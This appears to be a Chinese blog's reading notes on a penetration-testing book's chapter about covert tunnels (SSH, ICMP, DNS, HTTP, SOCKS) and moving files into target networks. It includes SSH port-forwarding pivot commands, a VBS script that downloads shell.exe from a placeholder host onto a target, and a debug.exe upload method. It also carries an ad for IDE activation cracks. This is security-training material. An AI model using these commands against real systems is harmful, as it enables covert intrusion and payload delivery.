《内网安全攻防:渗透测试实战指南》读书笔记(三):隐藏通信隧道技术[通俗易懂]

《内网安全攻防:渗透测试实战指南》读书笔记(三):隐藏通信隧道技术[通俗易懂]本篇继续阅读学习《内网安全攻防:渗透测试实战指南》,是第三章隐藏通信隧道技术,详细介绍了IPv6隧道、ICMP隧道、HTTPS隧道、SSH隧道、DNS隧道等加密隧道的使用方法,并对常见的SOCKS代理工具及内网上传/下载方法进行了解说

大家好,又见面了,我是你们的朋友全栈君。如果您正在找激活码,请点击查看最新教程,关注关注公众号 “全栈程序员社区” 获取激活教程,可能之前旧版本教程已经失效.最新Idea2022.1教程亲测有效,一键激活。

Jetbrains全系列IDE稳定放心使用

前言

本篇继续阅读学习《内网安全攻防:渗透测试实战指南》,是第三章隐藏通信隧道技术,详细介绍了IPv6隧道、ICMP隧道、HTTPS隧道、SSH隧道、DNS隧道等加密隧道的使用方法,并对常见的SOCKS代理工具及内网上传/下载方法进行了解说

相关知识之前也有过学习整理,参见:内网渗透系列:内网穿透(隧道)学习

一、基础知识

1、概述

网络隐藏通信隧道是与目标主机进行信息传输的主要工具

在大量TCP、UDP通信被防御系统拦截的情况下,DNS、ICMP等难以禁用的协议已经被攻击者利用,成为攻击者控制隧道的主要通道

常用隧道:

  • 网络层:IPv6隧道、ICMP隧道、GRE隧道
  • 传输层:TCP隧道、UDP隧道、常规端口转发
  • 应用层:SSH隧道、HTTP隧道、HTTPS隧道、DNS隧道

2、判断内网的连通性

判断方法如下:

//ICMP协议
ping www.baidu.com

//TCP协议
nc -zv 192.168.1.10 80

//HTTP协议
curl www.baidu.com:80
//curl的代理模式
curl -x proxy-ip:port www.baidu.com

//DNS协议
//windows下的nslookup
mslookup www.baidu.com vps-ip
//linux下的dig
dig @vps-ip www.baidu.com

二、网络层隧道技术

1、IPv6隧道

IPv6隧道可以将IPv4作为隧道载体,将IPv6报文整体封装在IPv4数据报文中

在这里插入图片描述

几种工具:

2、ICMP隧道

在一般的通信协议中,如果两台设备要进行通信,肯定需要开放端口,而在ICMP协议下就不需要

可参见:内网渗透系列:内网隧道之ICMP隧道

三、传输层隧道技术

主要是TCP隧道、UDP隧道和常规端口转发,大部分都会被拦截

工具可以参见:内网渗透系列:内网穿透(隧道)学习

四、应用层隧道技术

1、SSH隧道

几乎所有的Linux/UNIX服务器和网络设备都支持SSH协议,SSH协议是被允许通过防火墙和边界设备的,所以经常被攻击者利用

//本地转发
ssh -CfNg -L 1153(VPS端口):1.1.1.10(目标IP):3389(目标端口)
root@192.168.1.11(跳板机)

//远程转发
ssh -CfNg -R 3307(VPS端口):1.1.1.10(目标IP):3389(目标端口)
root@192.168.1.4

在这里插入图片描述

-L本地端口转发,-R远程端口转发,-D动态转发(SOCKS代理)**

防御:

  • IP白名单
  • ACL限制请求IP
  • 设置系统完全使用带外管理

2、HTTP/HTTPS隧道

reGeorg、meterpreter、tunna等,都很有名

3、DNS隧道

DNS是一个必不可少的服务,DNS报文本身具有穿透防火墙的能力。

从DNS协议的角度看,只是在一次次的查询某个特定的域名并得到解析结果,但其本质问题是,预期的返回结果应该是一个IP地址,而事实返回的是任意字符串,包括加密的C2指令。

DNS隧道本质是将其他协议封装在DNS协议中进行传输。

参见:内网渗透系列:内网隧道之DNS隧道

五、SOCKS代理

SOCKS是”SOCKetS”的缩写

  • SOCKS4只支持TCP协议
  • SOCKS5不仅支持TCP/UDP协议,还支持各种身份验证机制

SOCKS代理更底层,是在会话层;而HTTP代理是在应用层。因此SOCKS代理可以代理一切客户端的连接,而HTTP代理只能代理使用HTTP协议的客户端。由于更底层,不需要处理高级协议的细节,所以SOCKS代理更快。

SOCKET被称作”套接字”,用于描述IP地址和端口,是一个通信链的句柄,可以用来实现不同计算机之间的通信,它的本质是编程接口(API),是对TCP/IP的封装。SOCKS是一个代理协议,目前最新版本为SOCKS5,所谓代理就是,你可以通过它的去间接的访问网络,相当于一个中转站。区别:SOCKET是一个API,一个工具,让你建立网络连接用的。SOCKS是协议,是一组数据结构。

目前VPN隧道协议主要有4种:点到点隧道协议PPTP、第二层隧道协议L2TP、网络层隧道协议IPSec以及SOCKS v5协议。其中,PPTP和L2TP工作在数据链路层,IPSec工作在网络层,SOCKS v5工作在会话层。

e.g. EarthWorm(ew、新版本Termite)、reGeorg、sSocks、SocksCap64(SSTap)、Proxifier、ProxyChains

六、压缩数据

1、rar.exe

将E:\webs\目录下的所有内容打包为1.rar放入E:\webs\目录下

rar.exe a -k -r -s -m3 E:\webs\1.rar E:\webs\

将E:\webs\1.rar解压到当前根目录下

rar.exe e E:\webs\1.rar

分卷压缩E盘API目录下的所有文件及文件夹,设置每个分卷为20M

rar.exe a -m0 -r -v20m E:\test.rar E:\API

将E:\test.part01.rar解压到E盘的x1目录下

rar.exe x E:\test.part01.rar E:\x1

2、7-zip

将E:\webs\目录下的所有内容打包为1.7z放入E:\webs\目录下

7z.exe a -k -r -p12345 E:\webs\1.7z E:\webs\

将E:\webs\1.7z解压到当前根目录下

7z.exe e -p12345 E:\webs\1.7z

分卷压缩E盘API目录下的所有文件及文件夹,设置每个分卷为20M

7z.exe -r -vlm -padmin a E:\test.7z E:\API

将E:\test.part01.7z解压到E盘的x1目录下

7z.exe x -padmin E:\test.7z.001 -oE:\x1

七、上传和下载

1、VBS

执行下面命令即可在目标主机上下载shell.exe文件

Cscript download.vbs

download.vbs代码:

Set Post=CreateObject("Msxml2.XMLHTTP")
Set shell = CreateObject("Wscript.Shell")
post.Open "GET","http://IP/shell.exe",0
post.Send()
Set aGet = CreateObject("ADODB.Stream")
aGet.Mode = 3
aGet.Type = 1
aGet.Open()
aGet.Write(post.responseBody)
aGet.SaveToFile "C:\test\shell.exe",2

2、Debug上传

先将需要上传的EXE文件转换为十六进制HEX的形式,再通过echo命令将HEX代码写人文件,最后利用Debug功能将HEX代码编译并还原成EXE文件

在KaliLlnux中,exe2bat.exe工具位于/usr/share/windows-binaries目录,执行

wine exe2bat.exe ew.exe ew.txt

将ew.exe转换为ew.txt

然后,利用目标服务器的Debug功能将HEX代码还原为EXE文件
再使用echo命令将ew.txt里面的代码复制到目标系统的命令行环境中

3、其他

还可以用以下这些上传文件:

  • Nishang:利用Nishang将上传的EXE文件转换为十六进制的形式,然后使用echo命令访问目标服务器,最后使用Download_Execute脚本下载文本文件并将其转换为EXE文件
  • bitsadmm:推荐在Windows7和Windows8主机上使用,注意它不支持HTTPS和FTP协议,也不支持WindowsXP/Sever2003及以前的版本
  • PowerShell下载

结语

本章主要是隐匿通信隧道,由于这部分知识之前有过学习,故此处就不详细记录了,具体可见博客其他相关文章

版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请联系我们举报,一经查实,本站将立刻删除。

发布者:全栈程序员-站长,转载请注明出处:https://javaforall.net/180583.html原文链接:https://javaforall.net

(0)
全栈程序员-站长的头像全栈程序员-站长


相关推荐

  • java switch的意思_java switch

    java switch的意思_java switchjavaswitch[编辑]概述Java中的switch是“开关”的意思,有时也被划分为一种“选择语句”。根据一个整数表达式的值,switch语句可从一系列代码选出一段执行。一.Java的简介Java是一种可以撰写跨平台应用软件的面向对象的程序设计语言。Java技术具有卓越的通用性、高效性、平台移植性和安全性,广泛应用于PC、数据中心、游戏控制台、科学超级计算机、移动电话和互联网,同时拥有全球…

    2022年7月26日
    3
  • python编写怎么换行_python表示换行

    广告关闭腾讯云11.11云上盛惠,精选热门产品助力上云,云服务器首年88元起,买的越多返的越多,最高返5000元!windows换行符是’rn’,unixlinux的换行符为’n’,mac的换行符为’r’,在python中,对换行符进行了统一处理,定义为’n。到此这篇关于python代码中怎么换行的文章就介绍到这了,更多相关python写代码怎么换行内容请搜索zalou.cn以前的文章或继续浏…

    2022年4月9日
    229
  • Mybatis 查询结果类型为char时候:Cause: java.lang.StringIndexOutOfBoundsException: String index out of range: 0…「建议收藏」

    Mybatis 查询结果类型为char时候:Cause: java.lang.StringIndexOutOfBoundsException: String index out of range: 0…「建议收藏」Mybatis 查询结果类型为char时候:Cause: java.lang.StringIndexOutOfBoundsException: String index out of range: 0…

    2022年4月21日
    52
  • 本地Mysql忘记密码的修改方法(windows)

    本地Mysql忘记密码的修改方法(windows)你是否有忘记密码的尴尬你是否有连Mysql的安装路径都忘了的尴尬别问我是怎么知道的,哈哈哈话不多说,步入正题吧!如果你记得mysql的安装路径的话,直接跳过步骤1231.键盘Windows+R,输入services.msc然后回车;2.找到Mysql,右键Mysql找到属性,打开就能看到可执行文件的路径了;PS:可以切换到大写,然后一直按MMM…(祖传妙方)3.进入bin目录下,按住shift+鼠标右键,点击打开“在此处打开Powershe.

    2022年6月16日
    39
  • 公平锁与非公平锁_公平锁和非公平锁区别

    公平锁与非公平锁_公平锁和非公平锁区别公平锁和非公平锁一、如果一个锁是公平的,那么获取的顺序就应该符合请求的绝对顺序,即FIFO。二、测试结果 非公平性锁可能使线程“饥饿”,为什么它又被设定成默认的实现呢?再次观察上表的结果,如果把每次不同线程获取到锁定义为1次切换,公平性锁在测试中进行了10次切换,而非公平性锁只有5次切换,这说明非公平性锁的开销更小。三、,公平性锁保证了锁的获取按照FIFO原则,而代价是进行…

    2022年8月12日
    8
  • PyQuery库[通俗易懂]

    PyQuery库[通俗易懂]PyQuery库PyQuery库也是一个非常强大又灵活的网页解析库,PyQuery是Python仿照jQuery的严格实现。语法与jQuery几乎完全相同,所以不用再去费心去记一些奇怪的方法了。1、初始化初始化的时候一般有三种传入方式:传入字符串,传入url,传入文件字符串初始化eg1:html=”'<div><ul>…

    2022年6月11日
    34

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注

关注全栈程序员社区公众号